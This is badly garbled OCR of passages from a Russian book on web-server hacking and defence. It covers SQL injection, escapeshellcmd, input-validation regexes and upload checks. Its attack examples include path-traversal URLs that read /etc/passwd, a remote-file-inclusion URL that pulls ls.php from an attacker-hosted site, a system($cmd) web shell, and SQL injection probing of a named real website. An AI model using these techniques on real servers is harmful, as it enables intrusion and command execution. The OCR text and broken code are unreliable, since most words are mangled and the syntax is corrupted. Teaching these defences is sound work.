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TecTHpoBan Ha 3ToM e Web-ceppepe. Hrak, ecnu ykasats uma nonssosatens,
TO CUEHAPHH NONYHHT COOTBETCTBYIOULYIO CTPOKY W3 Ga3bl MAHHBIX M OTOGpaIMT
e Ha Web-cTpaHuue. EcnM ums yKa3saHO HEBEPHO, TO PE3YIBTAT GYAET MycToiM,
T. €. pesyReTHpYIOWad Tabnksna Gy et mycTol.

Puc. 5.3. PeaynuTar paGoTi CLEHAPUR B HOPMANLHOM PEXMME

Tnaghast npoGnema ITOFO CUCHAPHA B TOM, YTO OH HE NPOBEPACT NAPAMETP, K
polit BBOAWT MOMBL3OBATENb, & MOAL3OBATENE MOXKET NEPENATH YTO YIOAHO, A &
TONB30BATENEM SBNSETCA Xakep, T0 OH 0e3 mpobnem cMoxeT BtoMaTh Wel
cepaep.

A Teneps caMoe MHTEPECHOE: & MTO €CJTH B KAUSCTBE HMEHH NONL30BATENA TIE,
7aTh OaMHapHYIO KaBbluky? B pesynnrare SQL-sanpoc Gymer BbIrAZeTh c,'l::
Ayrowpm obpasom:

SELECT *

FROM smf_polls

WHERE posterName=''"

UMR posterName CPaBHHBACTCA C TPEMA ORMHAPHBIMM KaBHIMKAMH, 4TO
NpaBHnLHO. 3anpoc OKa3bIBACTCH HE3ABECPUICHHBIM, M B Pe3yIbTaTe Mbl YBHAH)
owrnbky (puc. 5.4).

Ecnu ms1 no6smuck ownbkn B SQL-3anpoce, To CylecTBYeT BEPOATHOCTh TOH
YTO TEKyIUMe HACTPOHKH MOIBONAT HAM TONYHHTh AOCTYN K YeMmy-HHGYAb H
pecHomy. [lasaiiTe NOCMOTPUM, 4ero MMEHHO MOXHO A0BwTbes, Ho wia nasan
HeoGX0AMMO y3HaTh, CKONBKO Tione soIspawact SQL-3anpoc. [Ja. B 1aHHOM

Hae Mbl MOXEM YBWAETb 3TO B HAUIEM CUEHAPRY, HO B PEANbHLIX YCNOBHAX AN
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nenumii Web-caifr, Ho u nce Web-caliTe, pacnonoxennbie ua Tom xe Web-
cepeepe.

B PHP ectb oaHa WHTepecHas (yHKLMA, KOTOpas ynpowaeT XH3Hb B HauleH
Gopube 3a GesonacHbiii kon: Escapeshellcmd. OHa yaIseT U3 NepEMEHHOM Jio-
313 CHUMBOJSTH, KOTODPbIE MOTYT GBITE UCTIONBIOBAHE B KOMAHAHOM MHTEpIpeTarTo-
Pe Kaxk MpOHW3BOJIbHBIC KOMAHIBI. 9o 3HAYHT, YTO ecnH HOOGXO)JIHMO nepenarb
NepeMeHHYI0 B (QyHKUMIO exec, system W eif nofoGHYIO, TO MpeaBApUTENbHO
HeoBXOAMMO IPOBEPHTD 3Ty NEPEMEHHYIO C IOMOLLBIO Escapeshellcmd, Hanpamep:
$cmd = EscapeShellCmd ($cmd) ;

system($cmd) ;

B nepsoli ctpoke mbl yGupaem 3 nepemeHHON $cmd BCE, YTO MOXET NPEHCTAB-
NATH ONACHOCTD, A NIOCAE 3TOrO Y)Ke TepeMeHnas nepeaaeTca B PyHKUMIO system.

Jla, diyukums EscapeshellCmd — XOPOWIMHA MHCTPYMEHT, HO TIONHOCTHIO Mofia-
TAaTBCA HA HEE HE CTOWT. Sl PEKOMEHIYIO BRITIONHATL AOTONHHTENBHYIO NPOBEPKY
© NOMOLUBIO PEFYSIAPHBIX BLIPAXEH Uit

4.2. 3amTa OT BbINONHEHUSA
NPOu3BONbHLIX KOMaHg

Jlo6as nepeMerHas, KOTOPas BHIMOSHACTCA cHCTeMOH WM BHewHelt yTUnwTOM,
JIOMKHA TIPOBEPATLEA OT ¥ A10. Kak MHHHMYM HHKAaKUX TOHEK C 3an4Tol B Hed co-
AepxaTeCa He nomkHo. Ho ogHoi Tonbko 1ol nmposepky maio. [Tposepaembie
CHMBOJTEI 3aBHCAT OT CHTYaunH. Hanprmep, eciin 13 nepementoli scomand Bhipe-
3aTh TOMBLKO TOUKH C 3ARATOR, TO 3TO HE 3HAUMT, YTO cuenapuit HeyA3BUM W XaKep
yKe HHUYEero He CMOXeT ChefaTh. B noe BCe ewwe 0CTaeTcs BO3MONHOCTb BAMATA,
HA KOMaHIy ping, YKasblBas CBOM KoWH. Xakep MOXET ykasaTh nomumo IP-
anpeca BeckoHeuHOe KONMUeCTBO U GoMbioH pasmep faxeTa. 3amycTHB HECKONbs
KO KOMUi ceaHcoB, MOXHO TakiM ofpasoM opranusoBaTe DoS-ataky Ha HeGonb-
woii cepeep, NOAKIIOUEHHLINH Yepe3 Y3KHA kaHan CBA3M.

Ecan komanae HEoBXOAMMO NMepenasaTh AOMEHHOE M KOMIBIOTEPa, TO € NOMO-
LWBIO CEAYIOLIENO PEFYISPHOTO BbIPAXKCHHA BbI JIETKO MOXKETE OAPEAEAUTE, COOT-
BETCTBYET N r¢PEAanHell NapaMeTp HYXHOMY QopmaTy:

[a-zA-20-9\._\-1+(\. [a-2A-Z0-3]+)+} *§

Ecnyu napamerp He COOTBETCTBYET GOPMATY MMEHHM JOMEHA, TO PE3yNLTATOM ApPO-
Bepky GyaeT owmnbka, B 3TOM Cllyyae CLEHApHi HE NOJKEH rnepenaBaTh AanHbe
CHCTEMHOMY HHTEPNPETATOPY KOMAK.

Ecnu HeobXonMMo MoNyuHTs 0T TOJILIOBATENS APEC HNEKTPOHHOM NOUTEL, TO ANA
HEFO MOXHO HCMOAL30BAT CIEAYIOWIEE PETYAPHOE BhpaXeHHe:

~(la-zA-20-9\._\-]1+8[a-2A-20-9\._\-]+(\. [a-zA-20-9] +}+) *$
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SQL-uHBbekumsa
(ASP + MS SQL Server)

Jla, SQL-uuvekuMs BOIMOXKHA H B CLCHAPHAX, HAMMCAHHEBIX HA A3bIKE [POTPAMy
myposanua ASP. Oror m3bik ABnfeTca NpaMeM konkypentom PHP, Ho ¥ oH HE
moxer 06e30nacuTh NporpaMMKUCTa oT BHeApeHus xona 8 SQL-sanpockr. Kak msf
YKe 3HaeM, 3Ta owrGka He 3aBUCHT OT A3bIKa, T. K. OH MOXKET NIpER0OCTaBUTh TOMb~
KO HeoGXOMMMbIE BOSMOXKHOCTH Aia OpraH13aldy TNPOCThIX METOAOR 32MMWTHI,
He Gosree.

Hrak, jnaBaiite paccMOTpUM nNpuMepbl atak Ha Web-cepsepht, HCMOAL3YIOLMUE
ceasky ASP + MS SQL Server, a notom Gosiee moapoGHO NOTOBOPUM O TEOPHH
B310Ma 1 6e30nacHOCTH. BoABILMHCTBO U3 TOTO, YTO MBI FOBOPHUAY paHee (cM. 2. 5),
ocTaetca B cHe. Pasnuua Tonbko B cneuuduxe CYB U ee QyHKUMAX.

6.1. NpakTuka B3noma

Jlo aToro mur paccmatpuBani nauGonee nonynspHoé B MurepHere na maHHbii
momenT coueranie: PHP + MySQL. Urofbt yGeauthea B NOMyASpHOCTH AAHHONO
PellieHns, 10CTATOUHO 3AMYCTHTE B NOMCKOBOH CHCTEME 3aTIPOC 11O 1I06OMy COBY
4 Gonbwrunctso Web-caiitos, oTo6paxennnix B pesynntate, Gyder 0CHOBAaHO HA
1ol ceaske. Ho H ApYrHe PELICHHA HE OTCTAIOT, NOLKHMAIOT M yMYyAPAIOTCA KOH-
KYpHPOBATH.

S pelnn cneuyanbHO [NY AAHHOW KHAMH HaliTh Heckonbko Web-caiiToB, Ha xOTO~
puix BymyT conepxarhacs OLIMGKY, NO3BOANOLIME PeanyiosaTh SQL-HHbEKUMIO, NpU
YTOM OHM IONKHB ObITh NOCTPOEHBI C MCTIOAb3oBaHWeM cBiszku ASP + MS SQL
Scrver. BpeMenn y mMeHa GhUI0 HEMHOTO, ROTOMY UTO FIOWCK A 3aTeAn Ha paGore,
1s ACHb POKICHAN OHONO W3 aNMHHUCTPATOPOB GHPMBI, e 4 paGoTalo NporpaMMH-
CIOM. AIMMHUCTPATOPb] ¥ MPOrPAMMKCTBI Y HAC OTIOCATCA K oasomy otaeiy T,
Vi Mbl [PA3ZHYEM 3HAMEHATENbHDIE 1aTHl BMECTE, 1I03TOMY MNE NPCACTORNO italTH
HeohXOMMMEA MATCPHAT OMIEPATHBIND K /10 TOTO, KAK IIAHICTCA NCHCPHIKA,
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Tenept yae eciti nepenaTs Hepes AUPEKTOPHIO /ete, a B apameTpe A Gaiina pas§w¢
TO MOAY4HTCH CReIyIomuH mMyTs: /ete/news_passwd. M cHora MOXeT nokasaTecs, uTo
Kozt Ge30naceH, HO HA CAMOM Jesie 3TO He Tak. KTo crasan, 410 Mbi J0/KHB! pasbuBars
NyTL Ha JUPEKTOPHIO K (aiin 1 nepenarath WX 110 OTABHOCTU? [ToueMy Mbi He MO-
JKeM NEpejaTh BCE Yepe3 mapaMeTp Gir? KOHEYHO Xe MOMKeM, MPOCTO YKasbiBaeM
cnegytoupit URL: http:/192.168.1.5/inc.php?dir=/etc/passwd % 00& file=.

Tenept nonwsil My s K ¢ailny nepenaercs uepes mapaMeTp dir M Cpasy Xe yKa-
3IBACTCA KOHEL CTpokH /etc/passwd%00. D10 3HaUKT, 4TO BCE CTPOKHM, npubas-
nfeMble NPOrpaMMHO K UMEHH daiina, GyayT NpOUrHOPHPOBAHbI U XaKEDP NOAYYHT
3aBeTHI daiin,

Tenepb AOMYCTHM, YTO NPH NOAKNIOUEHHM K IHAMEHHIO napameTpa fobasnsercd
HE TOJILKO PACLUNPEHME, HO U FYTh, KAK NOKAIAHO B CAEAYIOWEH CTPoKe Koza:
include("/var/www/html/news/".$_GET{'file']." .html");

Teneph MOMBITKA MEPeNaTh B KauecTse mapametpa wMs Qaiina /etc/passwd%00
HE HACT HHYEro XOpollero, MOTOMY 4YTO B pe3yAbTaTe NOAYMMTCA INYTh
fvar/wwwihtml/news//etc/passwd%00. Takoli 1myTh, KOHEYHO e, HE CYLIECTRYET.
Tak Kak cLeHapHii MoMelaeT Hac B AUPeKTOpUIo /var/www/html/news, To npexiae
4eM cMOTperh (ain monbaoBarenedi, MEI NOKHLI MOAHATLCS B KOPEHb JMCKa,
¥ TONTBKO NOTOM MepexoauTs B /etc. Urobbr noanaThea Ha ypoBeHb BhIILE B ONEpa-
unoHHol cucTeMe, HeoGXOAHMO YKa3aTs JBe TOMKM H ¢t (../). UTo6bl mopHATE-
€A Ha ABa YPOBHS, HEOGXOMMMO TNIOBTOPHTE 3TY MOC/CAOBATENBHOCTL ABAXKIM.
U TaK 40 TeX 11op, TTOKa Mbl HE IOXHHMEMCS 10 KOPHA HCKA.

Kak y3HaTh, Ie KopeHb AWCKA M CKOABLKO Pa3 MOBTOPATE NOCAEAORATENLHOCTD ../,
B GonbluMHCTBE CY4aeB XaKepe He YTPYxaaloT cefa mogfopamMH M mouckaMmu
KOpHs. Jleno B TOM, YTO BBIE €ro BCE PABHO HE NOAHUMELILCH, FIOITOMY MOXKHO
CMENO TMOBTOPATL ITY NOCAEHOBATENLHOCTh Pa3s ACCATh. Sl NOBTOPWI OATH pas
¥ 3TOTO Gbi0 HocTaTouno. Crenyrownit URL mokasan Mye 3aBeTHBIN daiin noms-
soBatesneit: http://192.168.1.5/param.php?file=.././.././ ./fetc/passwd %00. Boinon-
Haa 37oT URL, cleHapwio HeoBXOOMMO NOAKMOUWTH Creaylommi  dafin:
Ivarfwwwihtml/news/././.././. Jetc/passwd %00.

C Toukn 3penna OC 370T NyTh BrioAHe koppekTed. CHauana HeoGXoaUMO Criyc-
HTECA no daiinosoil cHcTeme B aupekTopHio /var/www/html/news, noToM nog-
HATBCA HA NATh YPOBHEH BbIle (ITHM MbI BO3BPAlIAEMCA B KOPEHb IMCKA) U nocHae
9TOTO OTKPHIT (aiin passwd u3 /etc.

Jina 3awmwuTel B naHHOM ciyuae He oGolTch Ges UABTPALMM, a BCE MOMBITKA
110Nb30BATLCA MPOrPAMMHBIM N0GABNEHMEM KAKMX-TO uYacTedi daiina — Geccmbic-
nentsl. s NPOBEPKH MOKHO HATICAT GYHKLIMIO checkparam, KOTOPAS C AOMOLIBIO
perynapubIX BbIpaKeHuit ynanut see kpome Gyks. TNosHuii kon Gonee sampuien-
MO0 CUGHAPHA MOYKHO YBUAETH B IuCTHHTE 3.2,
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Jla, ckanupoBaHHe nopros B XSpider MPOWCXOAMT AOCTATOMHO JONTO, 3470 B~
dekTHBHO,

JKenatensHo, uToGbl CKAHEP YMEN COXPAHATH Pe3ynbTaT CBOEH paGoThl B KAKOM=
HUGy b baiine ¥ naxe pacneuaTeisaTh. ECn 3ToM BO3MOXHOCTH HET, TO NpUaeTCR
nepenucarh BCe BPYYHYIO M TIONOXMTL HA BHAHOe MecTo. B nanbuefimiem pam
TIPHFOAMTCA KaXJaA CTPOYKA ITHX 3anHceH.

TTocne 3TOro MOXHO HAYHMHATL CKAHMPOBaThb MOPTHI cebie 1024. 3necs cTam-
JapTHbe CnyxGbl BCTPEMAlOTes pefko. 3auem e Torfa ckaHuposath? A BApYr
KTO-TO /10 BaC Y)Ke NOGEIBAT HAa 5TOM MeCTe W OCTABHII OTKPBITYIO ABEPKY HIM
YCTAHOBHN Ha CepBep TPOSHCKYIO TporpamMMy. BONbLIMHCTBO TPOAHCKHX TMpo-
rpaMM fiepXat OTKPLITBIMK TOPTEl CBblwe 1024, NOITOMY ecii BBl AAMUHHCTPA-
TOp ¥ HAULIM OTKPHITHIA NOPT B 3TOM AW2nasoHe, HEOGXOAUMO Cpasy HacTOpO-
*HTbes. Hy, a ecnin Bbl B3NOMIRHK, TO HYXHO Y3HaTb HMA TPOSHCKOH nporpamMmel
M HaWTH ANA Hee KIUEHTCKYIO HacTh, 4TOBKI ROCNONBLIOBATLCS €10 NS ynpasieHHs
uyx0l MaLIMHOM.

Cpenn cyx6, Wcnonbaylol¥X noptsl Bbime 1024, BcTpeuatoTcs ¥ HeKoTOpbie
KoMMepueckue, Hanpimep, CYB]] (cicrema ynpasieHus Gasamn nawHbix). Jemo
B TOM, YTO HOMEpa U3 NepBOH THICSUH yike NaBHO pacnpeseneHbl, ¥ HCROMBIOBATE
KAKOJ-TO M3 3TOr0 AMaNas0oHa JOCTATOYHO hpoGMeMaTHUHO, MOITOMY COBPEMER-
Hble cayxCbl IKCTITYaTHPYIOT BeCh AMANa3oH HOMEpOB A0 65535,

Tlepebie 1024 nopra 8 OC Linux ofnanatoT eite ofHHM O4eHDb BAKHBIM CBOHCT-
BOM: 3allyCTUTh ClyXGy, paboTaloNtyl0 Ha Takom NOpPTY, MOXKET TOMBKO NONb30BA~
Tenk ¢ npasamu aamuHucTpatopa (ans UNIX-cucTeM 3TO nob3osaTens ¢ npasa-
Mu root). Takum oGpa3oM, CHCTEMa rapaHTHpyeT, 4To ciyxGbl, pabotatomue Ha
noprax Hike 1024, 3anmyweHs aaMuHUCTpaTopoM. OHu ABAAOTCE HanGonee KpU-
THYHBIMA C TOUKH 3penHs Ge30TacCHOCTH CepBepa, MOITOMY PALOBLIE MO/Mb30BATE-
JH He AOTIKHBI HMETh NPasa KX 3aMyCKaTh.

Ecnu nocne ckaiMpoBanya Bbl yKe NONYHHAHM NONHLIA AOCTYN K CepBepy, TO Ha
3TOM B3/10M MOXET 3aKOHYMTBLCA. )Kaﬂb, YTO TaKOE MPOMUCXOZHT O4eHb PelKo,
M yallle BCero Hy»HO 3aTpaTHTh HamHoro Gonblue ycHnui. Xopotuo 6bisio 80 Bpe-
MeHa NoABIEHNA TPOSHCKOM nporpammbl Back Orifice, korzia oauH xakep 3apaxcan
KOMMbIOTEP NOMb30BaTeNs, a Apyrol Ges npobieM MOT BOCHONb3OBATHCA YiKE ro-
TOBbIM B2MOMOM. B HacTofliee Bpems no Hiutephery rynset camuukom Gonsttioe
KOIUYECTBO TPOAHCKHX NPOrpaMM, KOTOPbIE HCMONb3YIOT pasHbie NOPThl K 4ALIC
BCEro JiaKe MO3BONAIOT HACTPRHBATE HOMEDP NOPTa, Ha KOTOPOM oHK GyayT paGo-
TOTh. A €C/TM CEpBEpHas 4acTh MPOrPaMMbl 3aLIMUIEH2 NApoieM, TO BOCMONbIO-
BATHCA YYKUM TPyA0M ByaeT npoGrematiyro.
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</HEAD>

<BODY>

<center><h3>Injection test</h3></center>
<hr>

<?
if {isset($file))
(
print($dir."/*.$file);
include($dir."/".$file);
}

>

</BODY>
</HTML>

B camom Hauane cuenapuii 3anuceiBaeT B Cookies fBa mapaMerpa dir W file.
Ofa oMW COXPAHAIOTCA B CHSUWATHIUPOBAHHOM (aiine Ha cropoHe kauenta. [lo-
crie aToro 3arpyxaercs dain, nyTh K KOTOPOMY YKa3aH 4epe3 MEPEMEHHBIE $dir
u $file. [lpu nepeoit sarpyske Web-cTpanuub oHa uu4ero He 0ToGpa3uT, IOTOMY
4TO Mepemennbie $dir W $file He CYWIECTBYIOT. 3HaueHUa B ITOT MOMEHT 3aMH-
cuBarotca B Cookies, HO HE 3arpy)KaloTed, T. K. COOTBETCTBYIOL(NE NEPeMEHHBIC
He cospausl, Ilpu cneayiowedi sarpyske Web-cTpaamuer Cookies yxe cywecrsy-
10T, W NePEMEHHbIE OYYT aBTOMATHYECKH CO3AHBI.

TIporpaMMuCTL HOCTATOUHO YaCTO GE30TBETCTBEHHO OTHOCATCA K 3HAYEHHAM, CO-
xpausembim & Cookies. 310 U IOHATHO, BeIb XaKepb! HE OYEHB NIOBAT KOBBIPATHCH
TaM M peako HuWyT B HEX omwnbku. Ho ecam kro-To mcepbes salimerca Web-
caifToM, TO OH 0GH3aTETbHO IPOBEPUT BCE NAPAMETPDI, B TOM HHC/E H COXpaHAe-
MbIE HA IMCKE NOMbL30BATENS.

Pacnonoxenue Cookies 3aBucuT ot 6paysepa. Hanpumep, B Internet Explorer oy Ha-
xogares 8 C\Documents and Settings\NNNNN\Cookies, rae NNNNN — 3710 umst
YyueTHOM 3amHCH rtonb3osatens. [Tpumep Takoro daiina MoxHO yBHIeTb Ha puc. 3.10.

13 onvom daiire Cookies Ba napamerpa, KOTOPbIe PASACAAIOTCA CHMBONIOM 3B€3-
JIOUKH. ZIJI)I HArNAaHOCTH 1 HapYCOBAS MOPU3CHTANBHYIO Pa3ACAUTENbHYIO THHHIO,
Onur Cookies COCTOMT w3 HeckonbKuX nmapamerpos. Bee X paccmarpusath HeT
CMbLICNA, TOTOMY HUTO HaC HHTEPECYIOT EPBbIE TPH:

1 nms;
1 mauenue;
M angpec Web-cepeepa, ¢ koToporo 6uin coxpaHeH napamerp.
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Ha 31oM HecnenoBanis A 3aKOHHMWI W OTNPARMA COOBUICHHE AIMHHHCTPATOPY
Jlasaiite nBMHeMCA fanbiue M Ha APYTHX NPUMEPaX YBHAWM €HIe HECKONBKO HIO:
AHCOB MOHCKAa M HCCNEAOBaHMA OMMGKH, mpuBoAsmed k BoamoxHocTH SQL-
HHBEKLIMH.

Cnenyrommét  Web-caiit, koTOpblii momaics MHe Ha Iiasa, —
www.ClassicToday.com (prc. 6.9). On COAepKHT CIERYIOLLYI0 YA3BHMOCTE: eCAk
TIONLITATBCA TiEPEAaTh B MapaMeTpe ID MOMHMO HOMEpPa CTAaTbi ONMHAPHYIO Ka-
BLUKY MM n06asuTh ofbenumenue ¢ apyrum SQL-3anpocoM, To nosengercs
coobuenue 06 ommbke (puc. 6.10). Ha nepeetii B3rnsn nudopmauus o6 owmbke
HHU 0 4eM 0coGOM He TOBOPHT, HO €CHH NPOKPYTHTH TEXHHYECKYIO WHPOPMALIMIC
(pasnen Technical Information), Bui yeumwre, uTO OWHOKA KPOETCH MMEHHC
B SQL-3anpoce.
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Puc. 6.9. Web-caiT www.ClassicsToday.com
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B KOTOPOM MONE30BATENb Nepenact Ha GopyM JaHHbe 0 aBTOPH3AUMH, TO Xakep
CMOXCT HX NPOYMTATH H 3aXBATHTb YMETHYIO 3aNHCh NOAEIOBATEN.

Hrak, 3ammiate HEOGXOAUMO HE TObKO ONPEAENeHHbIE nporpamMsl, Ho W OC,
CYBJ]], cereBoe ofopyaosatue. Kamas cocrasnsioman TpeSyer otaensHol KHU-
it no 6e30MaCHOCTH. A ECTIH YYECTb, 4TO CYIIECTBYET HECKONBKO PAasSHOBUAHOCTER
OC u & Ge30NacHOCTH KaKIOM H3 HUX HYXHO NOAXOJUTb €O CBOEH CTOPOHBI, TO
KHUT HYXHO Hanucath eie Gonbure. [To2ToMy OrpaHUuMMCs TORLKO OCHOBHLIMU
0cOBEHHOCTAME 3aUTHTHL.

Jlake ecld Byl ABAACTECH Pa3pabOTHHKOM U He CBA3AHbI C AIMHHUCTPUPOBIHUEM
cepBepa CBOEH KOMNaHWK Wik npocTo Web-caiira, s HacTOSTENBHO PEKOMEHAYIO
BaM no3HaKoMUTLEA ¢ GesonacHocTbio OC, KOTOpas MCHONb3YETCA Ha BallleM Cep-
Bepe. [lna Linux cucTem s MOFy MOCOBETOBATb Npo4HTATh MoK paGoty "OC Linux
rnasamu xakepa” [2] (Hacker Linux Uncovered, A-List Publishing, 2005).

MoOXeT BbI 3aMeTHIIM, YTO 5 OYEHB YACTO ccbinatoch HMenHo na OC Linux? Jeno
B ToM, yTo nMerHo UNIX-cuctemsr (Linux, FreeBSD, OpenBSD, Solaris) npe-
ofnanaioT B HHTepHeTe B KauecTBe cepBepoB. HIMeHHO nosToMy Mbl GyaeM.
Gonbute BHuManuA yaensTs otuM OC. Jla, B KOPNOPaTHBHOM CEKTOPE MOXHO
BCTPETHTL H MHOXKECTBO peweHuii na Windows-nnardopme, HO noKa HTO ITHX
pelIeHHii HaMHOTO MeHblue K 60nbUIMX CABKIOB B CTOpOHY Microsoft noka wer.
Tawm, rae Tema kacaercs o6enx OC, a 6yay 3atparusats ux obe, Ho Gonblie BHU-
MaHus Bee xe Oyay yaenars UNIX-cuctemam # Linux B HaCTHOCTH, MIOTOMY 4TO
UMEHHO Linux BbI3bIBAET Y MEHA HAUGOMLUIYIO CHMNATAIO M MHE KXKeTcd, 4TO
32 HuM Gyayluee.

1.10.1. 3awmTa Web-cepsepa

Jlasaitre paccMoTpuM nipimep 3awmtsl MySQL u Apache B onepauuonHol cuc-
Teme Linux. Ml onycrim samuty camoii OC, noTOMy 4TO 3T0 OTAENbHAA K OtEHb
Gonbitas Tema, A2 ¥ Bech Apache Mbl Tporath He Gysem, mycTh xuer. HTak, 3a-
LIMTA HAYHHACTCA C YCTZHOBKH W NPENBAPUTENLHOTO KoHbRrypuposaHus. B ciy-
4ae ¢ MySQL HeoBGXOAMMO BBINIOHKUTS ClieAYIONLHe ASHCTBUSA:

O CVYB]] ycTaHaBiHBZETCA ¢ HACTPOHKAMH MO YMONYRHHIO, NPH KOTOPBIX aAMA-
HUCTP2TOPCKHIi JOCTYN paspellieH NOJb30BATENO ro0t € NYCTHM napoieM, 310
He xopouro. HeoGXoaHMO Kak MMHHMYM YCT2HOBHTE COXKHBIH Napofb, a my4d-
e NepeuMEHOBATh yueTHYIO 3anuce root. Ecnin bl pabotanu ¢ OC Linux, To
JOMKHBE 3HaTh, YTO B ITOH CHCTEME AZIMMHACTPATOPOM TOXE SBAAETCH root.
WUms anmunuctparopa 8 OC u B CYBJ] Hukak He cBA3aHbI;

O Heobxoaumo sabnokuposarh anoHuMHbiA Zoctyn k CYBJL. IMoawtouenus
JCMKHBI OCYLUECTBIIATBCA TONLKO ABTOPHIOBRHHLIMM NONIL30BATENAMH;
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wnuenta 8 HTML-dopme. IMosToMy nyuilie NpOM3BOAHTL NPOBEPKY HAE cropol-ie
Web-cepsepa, koraa ¢aitn 6yaer sarpyxes:
<?php
if ($filel_size>10*1024)
die ("Cruauxom Gonpuwol pasmep dasina®) ;

if (copy($filel,
» /var /waw/html /files/" . $filel_name))
print ("<P><B>Camplete</B>");
else
print ("OuMOKa KoMMpOBaHMA aima 1</B>");
>
B 370OM npuMepe Mbl B HAYIE CLEHAPHs MPOBepAeM, YTOGE! pasMep 3arpykKeHHo-
0 daiina He 6bin Gonee 10 KGaiir (10 ymuoxkenHoe Ha 1024 Gaiita, 7. . | KGaiit).
IMpenmyimecTBO 3TOTO METOAA: TIPOBEPKY HEBOSMOXHO yOpath, €Ciid He MMETh
JI0CTYM12 K UCXOHOMY KOy CLEHAPHA H BOSMOXKHOCTH €10 PeIaKTHPOBAHNA,

TMocnentnii criocof: UIMEHEHUE AUPEKTHBb upload_max_filesize KOH(GMrypa-
uyonkoro Qaiina php.ini. Crreaytomui mpUMep, yCTaHaBAHBAET MAKCHMANbHBIH
pazmep B 2 MGaitt:

upload_max_filesize = 2M

HenocraTkoM Bcex MeTonos mposepku Ha Web-cepsepe SBAfeTcs T0, UTO €CIH
nonk308aTeNk BbiGEpeT CAULIKOM Gonbioi (alin, To o GyneT 3arpy)keH U TONBKO
TIOC/I€ ITOTO CTAHCT HIBECTHO, 4TO PAIMEP C/THIIKOM Gombiol, DTo TpaTa Tpadu-
Ka W BPEMEHH, YTO MOXKET He IOHPABHTLCA JOGPOTIOPANOMHBIM TONB3OBATENAM
paitlero Web-calita. Jlabsl 3kOHOMMTL Tpaduk, Aenaiite npoBepky M Ha Web-
cepBepe (ANA 3alUTE OT XaKEPOB), K HA CTOPOHE KJHEHTa.

4.3.1. NpoBepka KOoppeKTHOCTH
chaiinoB nzoGpaxeHnn

Panee Mbr BBIACHWIH, 4TO 3arpyxaembie dalinsl nopsepxeHsl npobneMe npas
noctyna. YroGul (aiin MOXKHO GIIO 38TPY3UTh, HA AMPEKTOPHIO AOIKHBI GHITH
YCTAHORMEHB! NPaBa HA 3aNUCh ANA BCEX AONBIOBaTENeH. 3arpyxennbii aiin na
YMOJIYEHHIO MOXXET MMeTh Tpasa Ha BuimonHenHe. Takum ofpasoM, eciy xakes
1arPy3uT CBOM CLieHApHIt 1 CMOXXET BBIMOHUTL ero Ha Web-cepsepe, To 370 y&
B3OM.

Yro6ur Xakep He CMOT 3arpy3uTe HHYEro OnacHoro, HWGXOJJHMO CNCaNTDL 3a cofep-
JKYMbIM 38Ka44BaeMbIX NAHHbIX. QueHb uacto Ha Web-calitax HCTIONB3YETCR BOIMOK-
10CTL 38KBYKH (hafinos wsoOpakennit. Hanpumep, Ha Gopyme MOXeET NPELOCTABIATLEA
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IMEMEHTRY 3TOTO MaccuBa. Eciu ke 3To npocTo nepemennas, To nposepaem Tonb-
KO O/1HO 3HAYEHHE C NOMOMIBIO PYHKUNH addslashes.

A BOT Tenepb OTKpbIBaéM 3aBecy Hal IPOREPKO BCEX ITAPAMETPOR, MOMY4aeMBbIX
oT nonbiosatens. Tak kak napaMeTpb nepeaaroTea Hepea MaccHBbl, TO ROCTATOM-
HO npimeplnb HX € MOMOWBIO (YHKLMHA universaladdslashes, KOTOpas MpoBe-
PHT KDKABIH INEMEHT:

$_GET = universaladdslashes($_GET);

$_POST = universaladdslashes($_POST):

$_ENV = universaladdslashes($_ENV);

$_COOKIE = universaladdslashes {$_COOKIE) :

$_FILES = universaladdslashes($_FILES):

$_SERVER = universaladdslashes ($_SERVER) ;

KoHe4no, 3710 WieanbHbii ciayuaif M moxer morpeGoBaThcs MpOBEpKa ele
1 dyHkumedi hemlspecialchars, kak Noka3ano B nucTuure 3.13.

function universaladdslashes {$var)
{

if (is_array($var})

{

// Ecnu nepemenHas METAETCA MACCUBOM. . .

$outvar = array();

foreach ($var as $k => $v)
(
Soutvar($k] = universaladdslashes($v);
Soutvar($k] = htmlspecialchars(Soutvar([sk]}:
}
return Soutvar;
)
nlse
€
// Benm nepemexas fipocToro mama
Svar = htmlspecialchars({$var);
return addslashes (§var);
)
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print($file."<BR>"};
include ($file};

>
</BODY>
</HTML>

JHanneiii cuenapuil ynpowen, nap He 3a6MBaTh BaM roJIOBY 0GXOZaMH TIPHMH-
TUBHBIX 3amET. HYToGb! 3arpy3uTh KOppeKTHBIA (ailn, HeoOXonuMo 3arpyxarb
cnegytomu# URL: http://192.168.1.5/param.php?file=news/hetutils.html. B nas-
HoM cayuae 192.168.1.5 aro IP-aapec cepsepa B MOei CETH, Ha KOTOPOM 8 YCTaHO-
Bun Web-cepBep i TeCTHPOBAN BCe MPHMEPHL.

B kauectse napameTpa nepegaetcd myTe news/hetutils.html. HonycTtam, uto xakep
XOUET NPOCMOTPETE CONEPKMMOE AUPEeKTOpUH. JIjiS 370T0 Ha CBoeM Web-caiiTe oH
cosaaeT Qalin, HasoseM ero Is.php, co CEAYIONMM CONEPKUMBIM:
<?

print(system("1ls -al*)):

?>

3nech Mbl C NOMOMIBIO YHKUHH print 0TOGpakaeM pesynbTaT BLITIONHEHHA CHC-
TeMHOM KkOManabl 1s -al. Tenepe Xakep B Ka4eCTBE MapaMeTpa MOXKET yKa3aTh
nomubiit URL K coemy daiiny W ero pesynbrat GymeT BIUIOUEH B GOPMUPYEMYIO
Web-cTpanuLy:
http://192.168.1.5/param.php?file=http://www.hacker_website.com/Is.php.

B pesynbrare 3TOr0 Mbi YBHIMM CONGDRKHMOS [MPEKTOpHu Ha atakyemoM Web-
cepaepe [92.168.1.5, noToMy ¥T0 UMeHHO Ha Hem GyZeT BEIIONHEH Cuenapyii ls.php.

Monyuaercs, uto xakep Ge3 npoGaEM CMOKET BLINOAHATb FIPONIBOALHBIE KOMAH-
A Ha Web-cepsepe, cozeprxaiiem Takyio GaHanbnyio ownbky. Ho pamu kaxzoi
KOMAH/Ibi CO3/1aBaTh OTAENbHbIA CLEHAPHI GECCMBICHCHHO, BMECTO ITOTO MOXHO
HCTIONL30BAT CACAYIOLIMNA:
<?

print{systemi{$cmd)) :

>

Komanzga, koTopas N0MKHA BBINIONHATECH HHXKEKTHPYEMBIM KOJOM, HO/KHE Nepe-
DaBaTLCA Yepes napaMeTp cmd. ECAM Bbl XOTHTE BRINONHUTL KOMaHAY 1s -al, TO
HANpAMYIO BLI3OB 3TOF0 cueHapus Buiriagen Gbi cnenylownm ofpasom:
http://www.hacker_website.com/ls.php?cmd=ls %20-al. Teneps npocto BCTaB-
